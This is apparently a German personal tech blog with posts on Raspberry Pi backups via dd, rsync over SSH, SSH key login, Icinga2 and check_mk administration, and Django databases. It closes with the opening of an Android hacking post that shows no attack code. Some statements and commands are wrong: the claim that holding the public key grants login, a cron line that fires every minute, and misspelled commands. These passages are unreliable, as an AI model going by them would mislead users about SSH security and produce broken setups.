Allgemein

Raspberry Backup erstellen

Veröffentlicht am

Auch wenn der Raspberry Pi schnell aufgesetzt ist, so ist es immer ärgerlich wenn Daten verloren gehen. Hier besonders die Konfigurationen, die bei einem Ausfall der SD Karte verloren gehen könnten. Ein Backup schützt vor totalen Daten- und Konfigurationsverlust. Nun gibt es mehrere Lösungen ein Backup zu erstellen, ich benutze hier aber die Linux internen, die per default schon bei Raspbian dabei sind. in diesen Zusammenhang spreche ich von dem Linux-Tool dd(disk dump). dd kopiert Festplatten, Dateien und Partitionen „bit-genau“, heißt nichts anderes, als das der Datenträger Bit-für-Bit ausgelesen wird unabhängig von dessen Inhalt. Ebenfalls ignoriert es das Dateisystem auf dem Datenträger.

Schauen wir uns nun die Festplatte bzw. die Partitionen an, die wir sichern können.

sudo fdisk -l

Disk /dev/mmcblk0: 29,7 GiB, 31914983424 bytes, 62333952 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa92095ed

Device         Boot   Start      End  Sectors  Size Id Type
/dev/mmcblk0p1         2048  5033203  5031156  2,4G  e W95 FAT16 (LBA)
/dev/mmcblk0p2      5033204 62333951 57300748 27,3G  5 Extended
/dev/mmcblk0p5      5038080  5103613    65534   32M 83 Linux
/dev/mmcblk0p6      5103616  5627901   524286  256M  c W95 FAT32 (LBA)
/dev/mmcblk0p7      5627904 62333951 56706048   27G 83 Linux

Um die gesamte Festplatte samt Bootloader und Partitionen zu sichern, nehme ich das /dev/mmcblk0 Label für den „if“ Parameter. Dieser benötigt die Source, die gesichert werden soll. In „of“ wird der Backup-Destination angegeben. Bei mir ist das mein Nas, welches ich vorher gemountet habe. Ab Version 8.24 kann eine Statusanzeige aktiviert werden.

sudo mount -t cifs -o user=user,password=passwort,rw,file_mode=0777,dir_mode=0777 //nas/<pfad> /mnt/nas

BACKUP_PFAD= "/mnt/nas"
BACKUP_NAME= "raspbackup"
sudo dd if=/dev/mmcblk0 of=${BACKUP_PFAD}/${BACKUP_NAME}-$(date +%Y%m%d).img bs=1MB status=progress

Eine weitere Möglichkeit den Progress zu sehen, ist die Verwendung des USR1 Signals in einem zusätzlichen Terminal.

Dazu sucht ihr im neuen Terminal mit

ps -a

den dd Prozess heraus und kopiert die PID.

kill -USR1 <PID>

Nachdem ihr diesen Befehl abgesetzt habt, erscheint eine Fortschrittsanzeige in dem 1. Terminal, wo der dd-Prozess läuft. Mit watch könnt ihr den Befehl automatisch in Intervallen triggern lassen.

watch -n300 "sudo kill -USR1 <PID>"

Je nach Größe der SD-Karte, kann das Backup natürlich länger dauern.

Damit das Backup im Intervall erstellt wird, kann ein Cronjob erzeugt werden, der diese Tätigkeiten eigenständig ausführt.

Dafür erzeugen wir eine .sh, die die erforderlichen Befehle ausführt.

vi backup.sh

#!/bin/bash
BACKUP_PFAD= "/mnt/nas" 
BACKUP_NAME= "raspbackup" 
sudo mount -t cifs -o user=user,password=passwort,rw,file_mode=0777,dir_mode=0777 //nas/<pfad> /mnt/nas 
sudo dd if=/dev/mmcblk0 of=${BACKUP_PFAD}/${BACKUP_NAME}-$(date +%Y%m%d).img bs=1MB status=progress

exit 0

Gefolgt von dem Cronjob.

sudo crontab -e

* 2 * * * /etc/backup.sh

 

Der Cronjob wird nun jeden Tag um 2:00h aufgerufen und erstellt uns ein Backup.

Allgemein

rsync over ssh

Veröffentlicht am

Ich bin gerade dabei mich intensiv mit Deep Learning zu beschäftigen. Als Werkzeug dient mir dazu Anaconda und Jupyter Notebook. Dabei hatte ich die Idee, Jupyter Notebook auch dann noch zu benutzen, wenn ich gerade nicht zuhause bin. Wollte aber trotz alledem überall mit den gleichen Daten arbeiten. Von Zuhause würde ich auf das NAS zugreifen, welches nicht von Außen erreichbar ist und auch nicht soll. Wenn ich unterwegs bin, muss ich also zwangsweise einen anderen Weg einschlagen.  Hier kommt mein vServer zum Einsatz, den ich als Cloud hinter einem VPN benutze. Dort läuft ebenfalls Anaconda mit Jupyter Notebook(Ich könnte zwar dauernd einen VPN Tunnel aufbauen, auch wenn ich Zuhause bin, aber das möchte ich nicht). Die technische Infrastruktur wäre also vorhanden, aber wie schaffe ich es, dass die beiden Sourcen in-sync bleiben und dass ohne mein Beisein oder das ich etwas beisteuere? Durch die offenen Ports auf dem vServer wird es noch erschwert, denn nur der VPN Port und der SSH Port sind nach Außen hin offen. Also kann ich ebenfalls nur einen Weg ansteuern der per SSH möglich ist. Getriggert wird das alles von meinem NAS, da der vServer keine Verbindung zu meinem NAS aufbauen kann. Die Gründe hatte ich weiter oben schon genannt. Das alles in ein Shell Script verpackt und auf dem NAS mittels cronjob periodisch ausführen lassen. SSH fragt allerdings per Default das Password ab, das müsste dann mit einem privaten, öffentlichen Schlüssel Verbund umgangen werden.

Zusammengefasst:

  • NAS triggert die Synchronisation
  • Synchronisation über SSH
  • SSH ohne Password Abfrage
  • Shell Script mittels Cronjob periodisch ausführen

Fangen wir also an. Zuerst erstellen wir den privaten/öffentlichen Schlüssel. Wie das geht, habe ich in dem Artikel „SSH Verbindung mit privaten/öffentlichen Schlüssel“ beschrieben. Ich gehe jetzt also davon aus, dass die SSH Verbindung ohne Passwort soweit funktioniert.
Es fehlt also nur noch das Script und der Cronjob. SCP wäre die einfachste Lösung. Jedoch wäre der Overload zu hoch und ich müsste eigene Funktionen einbauen, die zwischen Dateien und Ordner unterscheiden, sowie auf welcher Seite gerade die neuste Datei liegt und ob neue dazugekommen sind. Das wäre ziemlich mühselig. Daher habe ich was anderes gesucht und bin mit rsync fündig geworden. Rsync bietet solche Funktionen und lässt sich über SSH tunneln. Das Script besteht nun aus einfachen 5 Zeilen.

 

echo "`date +%d.%m.%Y\ %T` `basename $0` (pid: $$): NAS->CLOUD" >> /share/homes/user/Programing/anaconda/rsync.log
rsync -ruzv --size-only -e "ssh -p <sshport>" /share/homes/user/Programing/anaconda/notebooks/* user@vserver:~/Projekte/JNotebook/. >> /share/homes/user/Programing/anaconda/rsync.log
echo "---------------------------------------------" >> /share/homes/user/Programing/anaconda/rsync.log
echo "`date +%d.%m.%Y\ %T` `basename $0` (pid: $$): CLOUD->NAS" >> /share/homes/user/Programing/anaconda/rsync.log
rsync -ruzv --size-only -e "ssh -p <sshport>" root@vserver:~/Projekte/JNotebook/* /share/homes/user/Programing/anaconda/notebooks/. >> /share/homes/user/Programing/anaconda/rsync.log

 

Am wichtigsten sind hier natürlich die Schalter: -ruzv, –size-only und -e.

r = recurse into directories
u = skip files that are newer on the receiver
z = compress file data during the transfer
v = increase verbosity
e = specify the remote shell to use
size-only = skip files that match in size

Mit dem Schalter -e „ssh -p <sshport>“ wird der SSH Tunnel zum vServer aufgebaut. Als sshport tragt ihr den Port ein, auf dem euer Server auf SSH lauscht. Üblich auf dem Port 22.
Rsync führe ich in beiden Richtungen aus, also vom NAS -> CLOUD und CLOUD -> NAS, damit sich die Datenstände abgleichen.

den cronjob richten wir mit

crontab -e

ein und tragen die nachfolgende Zeile ein.

# m h dom m dow cmd
*/10 * * * * /etc/rsync-anaconda.sh

Diese Zeile bedeutet, dass das Script jede 10 Minuten aufgerufen wird. Die Ergebnisse der Ausführung wird soweit in eine Log Datei auf meinem NAS niedergeschrieben. Somit habe ich auch alles im Blick, falls etwas schief läuft.

 

 

 

Allgemein

SSH Verbindung mit privaten/öffentlichen Schlüssel

Veröffentlicht am

Üblicherweise kennt man einen SSH Login mit Passwort. Was ist aber, wenn es erforderlich ist, eine Verbindung ohne Password herzustellen? Hier kommt die Schlüssel-Authentifizierung ins Spiel. Bei dieser Art der Authentifizierung wird mit Schlüsseln gearbeitet. Genauer gesagt dem öffentlich- und dem privaten Schlüssel.  Wollen wir z.B., dass Server1 sich ohne Passwort Abfrage auf dem Server2 anmelden kann, so erstellen wir auf Server1 einen privaten, samt öffentlichen Schlüssel. Server2 müssen wir den öffentlichen Schlüssel mitteilen. Schauen wir uns das untere Bild mal genauer an. Server1 möchte eine SSH Verbindung nach Server2 aufbauen. Server2 schickt eine Random Antwort, die Server1 mit einer verschlüsselten Antwort wieder an Server2 zurücksendet. Wenn Server2 diese Nachricht mittels des öffentlichen Schlüssel entschlüsseln kann, ist der Client autorisiert. Bedenkt bitte, dass jeder, der im Besitz des öffentlichen Schlüssels ist, sich mit dem Server authentifizieren kann. Es sei denn der Schlüssel beinhaltet noch eine Passphrase. Sprich zum Entschlüsseln wird ein Art Passwort benötigt. Dies ist generell sinnvoll, da es die Sicherheit nochmals erhöht. Hindert aber den Ablauf eines automatischen Scripts, da es die Eingabe erfordert.

 

 

 

 

Schlüsselpaar erzeugen

Erzeugen wir nun das Schlüsselpaar auf unserem Server1. Server1 ist in diesem Fall ein Linux Server.

ssh-keygen -t rsa -b 4096

Mit diesem Befehl erzeuge ich einen Schlüssel vom Typ RSA und eine Bitlänge von 4086 bit. RSA ist das Verschlüsselungsverfahren. Je höher die Bitlänge umso sicherer die Verbindung, aber schlechter die Performance. 4096 Bit ist ein guter Mix aus Performance und Sicherheit.

Das erzeugte Schlüsselpaar existiert nun im versteckten ssh Ordner: ~/.ssh/

Den öffentlichen Schlüssel könnt ihr jetzt ganz einfach mit folgendem Befehl auf Server2 transferieren.

ssh-copy-id -i ~/.ssh/öffentlicherSchlüssel user@server2

Steht euch allerdings ssh-copy-id nicht zur Verfügung oder schlägt fehl, so könnt ihr den öffentlichen Schlüssel auch eigenständig kopieren und unter Server2 in ~/.ssh/authorized_keys abspeichern. Dort sind alle öffentlichen Schlüssel enthalten, von Clients die Zugriff mittels diesem Verfahren haben. Löscht ihr diesen Key, so hat auch der angegebene Client keinen Zugriff mehr.

 

Allgemein

icinga2 auf dem Raspberry Pi mit Postgresql

Veröffentlicht am

Icinga2 und Icingaweb2 installieren

Damit wir Icinga2 und Icingaweb2 installieren können, benötigen wir das entsprechende Repository. Sobald dies eingerichtet ist, installiert es mit dem apt Befehl.

cuurl https://packages.icinga.com/icinga.key | sudo apt-key add - echo "deb http://packages.icinga.com/raspbian icinga-stretch main" \ | sudo tee /etc/apt/sources.list.d/icinga.list
sudo apt update
sudo apt install icinga2 icingaweb2
http://localhost/icingaweb2

 

Nachdem wir auf die Seite gelangt sind, verlangt Icinga ein Token zur Authentifizierung von uns. Dem wollen wir nun nachgehen.

sudo icingacli setup config directory --group icingaweb2;
sudo icingacli setup token create;

 

Optional könnten wir noch überprüfen, ob die erforderlichen Gruppen für Icinga existieren. Es sollte ungefähr wie unten aussehen. Die icingaweb2 Gruppe muss existieren und die Gruppe www-data enthalten.

cat /etc/groups |grep -i incinga

icingaweb2:x:117:www-data

 

Können wir, dank der erfolgreichen Authentifizierung, weiter auf der Seite gehen, so gelangen wir zur Auswahl der Module. Wählt euch eure entsprechenden Module aus.

Auf der nächsten Seite überprüft Icinga die System-Abhängigkeiten.

Bevor wir weitergehen, sollten wir diese Fehler lösen. Als erstes richten wir die korrekte Zeitzone ein. Mit einem Editor wie vi könnt ihr die date.timezone entkommentieren und eure entsprechende Zeitzone setzen. Bei mir ist es Europe/Berlin.

sudo vi /etc/php/7.3/apache2/php.ini


cat /etc/php/7.3/apache2/php.ini | grep date.timezone
; http://php.net/date.timezone
date.timezone = Europe/Berlin

Gefolgt von der Installation der fehlenden PHP Module.

sudo apt-get install php-pgsql 
sudo systemctl restart apache2

Es sollten nun alle Fehler und Warnungen beseitigt sein.

Auf der nächsten Seite wird nun die Authentifizierungsmethode abgefragt. Ich habe mich für die Datenbank entschieden.

Die Einstellungen für die Datenbank müssen wir nun setzen.  Icinga richtet die Datenbank und den User selber ein. Ihr müsst also nur einen User angeben, der die Rechte hat Datenbanken und User anzulegen.

Danach kommt eine Abfragen bzgl. des Authentifizierungs-Backend, die ihr weiterklicken könnt.

 

Im darauffolgenden Schritt richten wir den ersten Benutzer für die Icinga Weboberfläche ein. Die Eingabe ist dabei euch überlassen.

Die Konfiguration vom Logging kann soweit, wie von Icinga vorgegeben, verwendet werden.

Die Einrichtung von Icingaweb2 wäre nun abgeschlossen und es folgt eine Übersicht der getätigten Konfigurationen.

 

Icinga2-IDO

Kommen wir nun zur Einrichtung von Icinga2-IDO.

Vorweg möchte ich sagen, dass wir für die IDO eine Datenbank einrichten müssen. Wie ihr das macht habe ich unter „Postgres Datenbank installieren und einrichten“ beschrieben. Da die IDO Einrichtung nichts weiteres verlangt, mache ich hier mit der Visualisierung weiter.

 

Sobald die Einrichtung abgeschlossen ist, könnt ihr die Verbindung validieren.

„Es gibt zurzeit keine Icinga-Instanz die in die IDO schreibt. Stelle sicher, dass eine Icinga-Instanz konfiguriert ist und in die IDO schreiben kann“ – Falls ihr diese Meldung bekommt, dann solltet ihr unbedingt /etc/icinga2/features-enabled/ido-pgsql.conf überprüfen. Dort sollten die Einstellungen deckungsgleich mit denen sein, die ihr vorher in der Web-Konfiguration festgelegt habt.

 

/**
 * The db_ido_pgsql library implements IDO functionality
 * for PostgreSQL.
 */

library "db_ido_pgsql"

object IdoPgsqlConnection "ido-pgsql" {
  user = "user",
  password = "password",
  host = "localhost",
  database = "icinga_ido"
}

 

 

Postgres Datenbank installieren und einrichten

Zuallererst müssen natürlich die erforderlichen Pakete installiert werden.

sudo apt install postgresql 
sudo apt install icinga2-ido-pgsql

Für Icinga IDO müssen wir diesmal eine eigene Datenbank erzeugen. Dafür melden wir uns mit dem postgres User in Linux an

sudo -u postgres -i

Erstellen wir nun den User und die Datenbank

postgres@raspberrypi:~$ createuser --interactive -P
Geben Sie den Namen der neuen Rolle ein: user
Geben Sie das Passwort der neuen Rolle ein:
Geben Sie es noch einmal ein:
Soll die neue Rolle ein Superuser sein? (j/n) n
Soll die neue Rolle Datenbanken erzeugen dürfen? (j/n) n
Soll die neue Rolle weitere neue Rollen erzeugen dürfen? (j/n) n
postgres@raspberrypi:~$ createdb -O user icinga_ido
psql -d icinga_ido -f /usr/share/icinga2-ido-pgsql/schema/pgsql.sql

Noch ein letzter Kontrollblick, ob alles korrekt erstellt worden ist. Dafür verwenden wir den psql Befehl und im weiteren \du für die Liste der Rollen(User) bzw. \l für die Liste der Datenbanken.

psql
postgres=# \du
                                      Liste der Rollen
 Rollenname |                            Attribute                            | Mitglied von
------------+-----------------------------------------------------------------+--------------
 postgres   | Superuser, Rolle erzeugen, DB erzeugen, Replikation, Bypass RLS | {}
 user       | Passwort gültig bis infinity                                    | {}

postgres=# \l
                                  Liste der Datenbanken
    Name    | Eigentümer | Kodierung | Sortierfolge | Zeichentyp  |  Zugriffsprivilegien
------------+------------+-----------+--------------+-------------+-----------------------
 icinga_ido | user       | UTF8      | de_DE.UTF-8  | de_DE.UTF-8 | =Tc/user             +
            |            |           |              |             | user=CTc/user
 postgres   | postgres   | UTF8      | de_DE.UTF-8  | de_DE.UTF-8 |
 template0  | postgres   | UTF8      | de_DE.UTF-8  | de_DE.UTF-8 | =c/postgres          +
            |            |           |              |             | postgres=CTc/postgres
 template1  | postgres   | UTF8      | de_DE.UTF-8  | de_DE.UTF-8 | =c/postgres          +
            |            |           |              |             | postgres=CTc/postgres
(4 Zeilen)

 

 

Icinga2 API einrichten

Da ich die Befehle mittels API an die Monitoring-Instanz entsenden möchte, muss ich die Icinga2 API installieren.

root@raspberrypi:/home/pi# icinga2 api setup
information/cli: Generating new CA.
information/base: Writing private key to '/var/lib/icinga2/ca//ca.key'.
information/base: Writing X509 certificate to '/var/lib/icinga2/ca//ca.crt'.
information/cli: Generating new CSR in '/var/lib/icinga2/certs//raspberrypi.csr'.
information/base: Writing private key to '/var/lib/icinga2/certs//raspberrypi.key'.
information/base: Writing certificate signing request to '/var/lib/icinga2/certs//raspberrypi.csr'.
information/cli: Signing CSR with CA and writing certificate to '/var/lib/icinga2/certs//raspberrypi.crt'.
information/pki: Writing certificate to file '/var/lib/icinga2/certs//raspberrypi.crt'.
information/cli: Copying CA certificate to '/var/lib/icinga2/certs//ca.crt'.
information/cli: Adding new ApiUser 'root' in '/etc/icinga2/conf.d/api-users.conf'.
information/cli: Enabling the 'api' feature.
Enabling feature api. Make sure to restart Icinga 2 for these changes to take effect.
information/cli: Updating 'NodeName' constant in '/etc/icinga2/constants.conf'.
information/cli: Created backup file '/etc/icinga2/constants.conf.orig'.
information/cli: Updating 'ZoneName' constant in '/etc/icinga2/constants.conf'.
information/cli: Backup file '/etc/icinga2/constants.conf.orig' already exists. Skipping backup

 

Richten wir nun einen neuen API-User ein und fahren mit dem Websetup fort:

vi /etc/icinga2/conf.d/api-users.conf

object ApiUser "user" {
  password = "password"
  // client_cn = ""

  permissions = [ "*" ]
}

Diesen gerade erstellten Login tragen wir in das Websetup ein.

Falls alles soweit geklappt hat, können wir mittels curl die API testen. Icinga sollte mit einem kleinem Response antworten.

curl -k -s -u icinga:password 'https://localhost:5665/v1' 
<html><head><title>Icinga 2</title></head><h1>Hello from Icinga 2 (Version: r2.10.5-1)!</h1><p>You are authenticated as <b>user</b>. Your user has the following permissions:</p> <ul><li>*</li></ul><p>More information about API requests is available in the <a href="https://docs.icinga.com/icinga2/latest" target="_blank">documentation</a>.</p></html>

 

Das Setup wäre nun abgeschlossen. Icinga ist lauffähig, hat bislang aber nur den PI als überwachten Host. Wie die Objektpflege über die API passiert, erkläre ich in einem neuen Beitrag, damit dieser nicht zu lange wird :).

 

Gutes gelingen!

Allgemein

check_mk Update durchführen

Veröffentlicht am

Das Update von check_mk verhält sich ein wenig anders als man es gewohnt ist. Es muss zuerst dass jeweilige Paket runtergeladen und installiert werden. Achtet dabei auf die Version, die ihr haben wollt und die Edition, die ihr benötigt. Nehmt aus der unteren Tabelle das Editionskürzel. CRE ist dabei die kostenlose Variante. Auf der Seite werden die unterstützten Distributionen aufgelistet. Ladet eure richtige Version herunter.

https://checkmk.de/download_version.php?&version=1.6.0&edition=cee

Die Dateiendung .cee steht für Checkmk Enterprise Edition. Neben dieser gibt es noch

.cre Checkmk Raw Edition
.demo Demo Version der Checkmk Enterprise Edition
.cme Checkmk Managed Services Edition

 

wgett https://checkmk.de/support/1.6.0/check-mk-enterprise-1.6.0_0.xenial_amd64.deb

Überprüfen wir die aktuelle check_mk Version auf dem Server, sehen wir noch die anderen Versionen die zur Verfügung stehen. Die Besonderheit an check_mk ist, dass wir alle Instanzen(Sites) mit einer unterschiedlichen Version laufen lassen könnten.

omd versions

Ausgabe:
1.2.8p18.cee
1.4.0b4.cee
1.4.0p5.cee (default)

Listen wir die Sites auf, so sehen wir, dass wir 2 zur Verfügung haben.

omd sites

Ausgabe:
SITE            VERSION          COMMENTS
Testsite2       1.4.0p5.cee      default version
checkmk         1.4.0p5.cee      default version

Da jede Instanz einen gleichnamigen User in Linux erzeugt, habe ich mir die passwd ebenfalls angeschaut, ob der relevante User immer noch vorhanden ist. Dieser Schritt ist allerdings optional und wird nicht benötigt.

grep omd /etc/passwd

checkmk:x:999:1001:OMD site checkmk:/omd/sites/checkmk:/bin/bash
Testsite2:x:997:1006:OMD site Testsite2:/omd/sites/Testsite2:/bin/bash

Zur Installation benutzen wir dpkg mit dem Parameter -i.

sudo dpkg -i check-mk-raw-1.6.0_0.bionic_amd64.deb

Überprüfen wir nun ein weiteres mal die check_mk Versionen, sehen wir die gerade installierte.

sudo omd versions
1.2.8p18.cee
1.4.0b4.cee
1.4.0p5.cee
1.6.0.cee (default)

Die Instanzen werden nicht automatisch auf die neuste Version gebracht. Damit dies geschieht, müssen wir uns vorerst als den Site User anmelden.

sudo su <Instanzuser>

Geben wir

omd version

ein, so sehen wir, dass sich für diese Instanz die Version nicht geändert hat, was wir nun nachholen.

sudo su checkmk
OMD[checkmk]:~$ omd version
OMD - Open Monitoring Distribution Version 1.4.0p5.cee

Achtet bitte darauf, dass ihr immer noch als der Instanz User angemeldet seid!

Zuerst müssen wir die Instanz stoppen.

omd stop

Removing Crontab...OK
Stopping apache...killing 1393....OK
Stopping nagios....OK
Stopping npcd...OK
Stopping rrdcached...waiting for termination...OK
Stopping mkeventd...killing 1286...OK
Stopping 1 remaining site processes...OK

 

Das Update

Nach dem die Instanz gestoppt ist, können wir mit dem Update beginnen.

omd update

Es sollte ein Abfragefenster mit einer Warnung auftauchen, in der ihr explizit das Update genehmigen müsst.

 

Nachdem bestätigt wurde, wird das Update für die Instanz installiert.

So sah bei mir die Ausgabe aus:

* Updated        .profile
 * Installed link var/dokuwiki/lib/plugins/cli.php
 * Installed dir  local/share/check_mk/web/htdocs/themes
 * Installed dir  etc/stunnel
 * Merged         etc/mk-livestatus/xinetd.conf
 * Updated        etc/nagvis/nagvis.ini.php
 * Updated        etc/dokuwiki/dokuwiki.php
 * Updated        etc/dokuwiki/mime.conf
 * Updated        etc/dokuwiki/local.php
 * Installed link etc/rc.d/85-stunnel
 * Installed file etc/logrotate.d/stunnel
 * Updated        etc/check_mk/apache.conf
 * Updated        etc/init-hooks.d/README
 * Updated        etc/apache/apache.conf
 * Installed file etc/apache/conf.d/security.conf
 * Updated        etc/apache/conf.d/omd.conf
 * Installed file etc/apache/conf.d/01_wsgi.conf
 * Installed file etc/init.d/stunnel
 * Installed file etc/stunnel/server.conf
 * Vanished       etc/icinga/ssi/extinfo-header.ssi
 * Vanished       etc/icinga/ssi/status-header.ssi
 * Vanished       etc/icinga/ssi/README
 * Vanished       etc/icinga/icinga.d/omd.cfg
 * Vanished       etc/icinga/icinga.d/timing.cfg
 * Vanished       etc/icinga/icinga.d/mk-livestatus.cfg
 * Vanished       etc/icinga/icinga.d/flapping.cfg
 * Vanished       etc/icinga/icinga.d/obsess.cfg
 * Vanished       etc/icinga/icinga.d/misc.cfg
 * Vanished       etc/icinga/icinga.d/retention.cfg
 * Vanished       etc/icinga/icinga.d/logging.cfg
 * Vanished       etc/icinga/icinga.d/freshness.cfg
 * Vanished       etc/icinga/icinga.d/dependency.cfg
 * Vanished       etc/icinga/icinga.d/eventhandler.cfg
 * Vanished       etc/icinga/icinga.d/tuning.cfg
 * Vanished       etc/icinga/idomod.cfg-sample
 * Vanished       etc/icinga/apache.conf
 * Vanished       etc/icinga/cgiauth.cfg
 * Vanished       etc/icinga/resource.cfg
 * Vanished       etc/icinga/icinga.cfg
 * Vanished       etc/icinga/config.inc.php
 * Vanished       etc/icinga/cgi.cfg
 * Vanished       etc/icinga/icinga.d
 * Vanished       etc/icinga/conf.d
 * Vanished       etc/icinga/ssi
 * Vanished       etc/init.d/icinga
 * Vanished       etc/apache/conf.d/01_python.conf
 * Vanished       etc/rc.d/80-icinga
 * Vanished       etc/icinga
 * Vanished       local/share/icinga/htdocs
 * Vanished       local/share/icinga
 * Vanished       local/lib/icinga
 * Vanished       var/icinga
Executing update-pre-hooks script "cmk.update-pre-hooks"...OK
Output: Initializing application...
Loading GUI plugins...
Updating Checkmk configuration...
 + Rewriting WATO tags...
 + Rewriting WATO hosts and folders...
 + Rewriting WATO rulesets...
 + Rewriting autochecks...
Done

Finished update.

Das Update wäre nun vollzogen und wir können die Instanz wieder starten:

omd start

Creating temporary filesystem /omd/sites/test/tmp...OK
Starting mkeventd...OK
Starting rrdcached...OK
Starting npcd...OK
Starting nagios...OK
Starting apache...OK
Initializing Crontab...OK

 

Nach Abschluss sollte der Status und die Version ein weiteres Mal überprüft werden.

OMD[test]:~$ omd status
mkeventd:       running
rrdcached:      running
npcd:           running
nagios:         running
apache:         running
crontab:        running
-----------------------
Overall state:  running


OMD[test]:~$ omd version
OMD - Open Monitoring Distribution Version 1.6.0.cre

 

Ihr solltet unbedingt die Release Notes auf etwaige Inkompatibilitäten überprüfen, sowie Änderungen, die anfallen.

Allgemein

multiple Datenbanken mit Django

Veröffentlicht am

Django hat durch sein MVC(Model-View-Controller) von Beginn an eine Datenbank mit am Board. Mein Projekt basiert auf mysql, jedoch hatte ich weitere Datenbanken, die ich über Django managen wollte, die allerdings nicht in der Default DB von Django sind. Daher müssen diese Django bekannt gemacht und Models für diese Datenbanken erstellt werden.

Die Bekanntmachung findet in der settings.py statt. Hier trägt man die weiteren DB Verbindungen ein. Dabei könnte es wie folgt aussehen. In dem DATABASE Dictionary können neben dem Default weitere Werte eingetragen werden. Die ENGINE bestimmt dabei, ob mysql, sqlite oder die anderen unterstützen DBs eingetragen werden. Im NAME steht der Name der Datenbank. User und Password sind selbsterklärend, genauso wie der HOST und der PORT. Ich habe insgesamt 2 weitere Datenbanken hinzugefügt.

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'OPTIONS': {
                'read_default_file': '~/Projekte/controlpanel/controlpanel_root/controlpanel/my.conf',
        },
    },
    'Weather': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'Weather',
        'USER': 'user',
        'PASSWORD': 'password',
        'HOST': '127.0.0.1',
        'PORT': '3306'
    },
     'Metabase': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'Metabase',
        'USER': 'user',
        'PASSWORD': 'password',
        'HOST': '127.0.0.1',
        'PORT': '3306'

    }
}

Damit mit den neuen Datenbanken gearbeitet werden kann, müssen Models erzeugt werden. Django bietet dazu ein eigenständiges Werkzeug an, welches über die Tabellen geht und die Atribute niederschreibt. Führt ihr folgendes Befehl aus,

python3 manage.py inspectdb --database Weather

sollte im Terminal der Aufbau vom Model stehen, wie Django es aufbauen würde. Bei mir sieht es so aus:

 

# This is an auto-generated Django model module.
# You'll have to do the following manually to clean this up:
#   * Rearrange models' order
#   * Make sure each model has one field with primary_key=True
#   * Make sure each ForeignKey has `on_delete` set to the desired behavior.
#   * Remove `managed = False` lines if you wish to allow Django to create, modify, and delete the table
# Feel free to rename the models, but don't rename db_table values or field names.
from django.db import models


class CurWeather(models.Model):
    id = models.AutoField(db_column='ID', primary_key=True)  # Field name made lowercase.
    c_lon = models.DecimalField(db_column='C_LON', max_digits=5, decimal_places=2)  # Field name made lowercase.
    c_lat = models.DecimalField(db_column='C_LAT', max_digits=5, decimal_places=2)  # Field name made lowercase.
    w_main = models.CharField(db_column='W_MAIN', max_length=50)  # Field name made lowercase.
    w_description = models.CharField(db_column='W_DESCRIPTION', max_length=100)  # Field name made lowercase.
    w_icon = models.CharField(db_column='W_ICON', max_length=50)  # Field name made lowercase.
    m_temp = models.DecimalField(db_column='M_TEMP', max_digits=4, decimal_places=2)  # Field name made lowercase.
    m_pressure = models.DecimalField(db_column='M_PRESSURE', max_digits=7, decimal_places=2)  # Field name made lowercase.
    m_humidity = models.DecimalField(db_column='M_HUMIDITY', max_digits=7, decimal_places=2)  # Field name made lowercase.
    m_temp_min = models.DecimalField(db_column='M_TEMP_MIN', max_digits=7, decimal_places=2)  # Field name made lowercase.
    w_speed = models.DecimalField(db_column='W_SPEED', max_digits=4, decimal_places=2)  # Field name made lowercase.
    w_deg = models.DecimalField(db_column='W_DEG', max_digits=5, decimal_places=2)  # Field name made lowercase.
    rain_3h = models.DecimalField(db_column='RAIN_3H', max_digits=5, decimal_places=2, blank=True, null=True)  # Field name made lowercase.
    cloudiness = models.DecimalField(db_column='CLOUDINESS', max_digits=5, decimal_places=2)  # Field name made lowercase.
    dt_timestamp = models.DateTimeField(db_column='DT_TIMESTAMP')  # Field name made lowercase.
    sys_country = models.CharField(db_column='SYS_COUNTRY', max_length=4)  # Field name made lowercase.
    sys_sunrise = models.DateTimeField(db_column='SYS_SUNRISE')  # Field name made lowercase.
    sys_sunset = models.DateTimeField(db_column='SYS_SUNSET')  # Field name made lowercase.
    timezone = models.IntegerField(db_column='TIMEZONE')  # Field name made lowercase.
    city = models.ForeignKey('WeaCity', models.DO_NOTHING, db_column='CITY_ID')  # Field name made lowercase.
    created_at = models.DateTimeField(db_column='CREATED_AT')  # Field name made lowercase.

    class Meta:
        managed = False
        db_table = 'CUR_WEATHER'


class WeaCity(models.Model):
    id = models.IntegerField(db_column='ID', primary_key=True)  # Field name made lowercase.
    city_name = models.CharField(db_column='CITY_NAME', max_length=100)  # Field name made lowercase.

    class Meta:
        managed = False
        db_table = 'WEA_CITY'


class WeaOpenweather(models.Model):
    id = models.AutoField(db_column='ID', primary_key=True)  # Field name made lowercase.
    query = models.CharField(db_column='QUERY', max_length=500)  # Field name made lowercase.
    city_id = models.IntegerField(db_column='CITY_ID')  # Field name made lowercase.

    class Meta:
        managed = False
        db_table = 'WEA_OPENWEATHER'

 

Diese Ausgabe sollte nun in eine Datei geleitet werden und schon existiert für die DB das Model.

python3 manage.py inspectdb --database Weather > pages/Weather.py

Allerdings nimmt Django nicht die komplette Arbeit ab. Wir müssen noch überprüfen, dass jedes Model mindestens ein Feld hat, wo das PrimaryKey Attribute True ist. Wenn Django Zeilen hinzufügen, entfernen und ändern darf, muss das managed Attribute noch auf True umgestellt werden.

 

Allgemein

Kali Linux Android hack

Veröffentlicht am

Ein Hinweis vorweg: Ich übernehme keinerlei Haftung für Schäden, die durch diesen Artikel verursacht wurden. Ein mutwilliges Hacken anderer ist eine Straftat, führt diesen Selbstversuch also bitte nur bei euren Geräten aus.

Wer ein Android Handy hacken möchte, braucht dazu nicht viel. Es ist leider auch sehr erschreckend wie wenig es benötigt, damit der Hack erfolgreich ausgeführt werden kann. Zum einen reicht Kali Linux und die vermeintliche Unachtsamkeit des Smartphone Users, damit der Angreifer vollen Zugriff auf das Handy hat. Meine Teststellung bestand aus einem Samsung S5 Neo, geflasht auf Android 6 und meinem Laptop, auf dem ich eine virtuelle Appliance mit Kali Linux habe. Beide Geräte müssen für diesen Test im gleichen Netz sein.

Smartphone

Ich hatte vorher von Unachtsamkeit des Smartphone User gesprochen. Damit meine ich eine Installation aus unbekannter Quelle, die standardmäßig von Android deaktiviert ist. Ohne das Zuschalten dieser Option würde dieser Hack nicht funktionieren, da aus Sicherheitsgründen die Installation solcher Apps verhindert wird.

